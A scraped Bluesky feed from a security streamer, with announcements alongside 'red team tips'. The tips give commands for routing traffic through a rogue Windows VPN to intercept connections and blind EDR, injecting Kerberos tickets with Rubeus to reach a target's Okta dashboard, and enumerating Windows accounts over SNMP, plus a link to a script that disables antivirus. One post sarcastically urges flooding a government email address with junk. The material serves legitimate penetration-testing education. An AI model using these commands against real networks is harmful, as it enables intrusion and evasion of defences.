iiinova — where your digital self keeps evolving

Alh4zr3d @alh4zr3d.bsky.social · 08/04/2025

Newbie Tuesday today @5 EDT!!! twitch.tv/alh4zr3d

Alh4zr3d @alh4zr3d.bsky.social · 08/04/2025

Red Teamers: Look into VPN settings in Windows. Can be applied from userland--transparent to all users--used to MITM network connections, blind EDR, etc! Pwsh: Add-VPNConnection -Name x -ServerAddress <domain> Add-VPNConnectionRoute -ConnectionName "x" -DestinationPrefix "1.2.3.4/32"

140

Alh4zr3d @alh4zr3d.bsky.social · 07/04/2025

Red Teamers: If your target is using Okta (check <orgname>.okta.com), pull a TGS for the SPN HTTP/<orgname>.kerberos.okta.com and inject it into your host session. When proxied, this will allow you to access their Okta dashboard. Rubeus asktgs /spn:<spn> Rubeus ptt /ticket:<ticket>

111

Alh4zr3d @alh4zr3d.bsky.social · 07/04/2025

Completely successful first stream back today (even though I didn't do any hacking); resolved the mic issues and I'm ready for Newbie Tuesday! RED TEAM TIPS START UP IN EARNEST TOMORROW

050

Alh4zr3d @alh4zr3d.bsky.social · 04/04/2025

Long have you waited. I return to streaming and content creation at large with a vengeance starting on Sunday, 6 April 2025. Powered by the baddie you see below, revamped recording equipment/webcam, and more. Expect me. Cthulhu fhtagn.

0101

Alh4zr3d @alh4zr3d.bsky.social · 24/01/2025

Red Teamers: do NOT neglect SNMP like sysadmins usually do! SO many networks have granted me very quick wins through SNMP enumeration, which can be done with Metasploit, snmpwalk, and onesixtyone: Enum Windows accounts (spray?): snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25 #hacking #redteam

0174

Alh4zr3d @alh4zr3d.bsky.social · 24/01/2025

As a reminder, my "red team tips" found both on this and where I used to post them (the Nazi app) are not necessarily tips specifically for adversary emulators; they are generalized offensive tips useful to both penetration testers and red teamers. "Red team" is shorthand here!

172

Alh4zr3d @alh4zr3d.bsky.social · 23/01/2025

Hackers, give me good cybersecurity follows on this site. Who's made the jump from the Nazi site?

2141

Alh4zr3d @alh4zr3d.bsky.social · 23/01/2025

Hackers, the Trump Admin has set up a govt email at DEIATruth@opm.gov for people to report DEI workers and people who support diversity. Make sure that you do NOT drown it in garbage; that would be unprofessional. And make sure you do NOT use services like 10minutemail.com to hide your identity!

33313

Alh4zr3d @alh4zr3d.bsky.social · 23/01/2025

Red Teamers, I'm starting off my bsky tips with a banger: using pending file change operations in the Registry to rename executables and indirectly disable AV/EDR! If the EDR has tamper protection, make a junction to the EXE first! Here's your PowerShell command: pastebin.com/Jikaicm1

pastebin.com

AV/EDR Disable via File Rename Operations in the Registry - Pastebin.com

Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

1171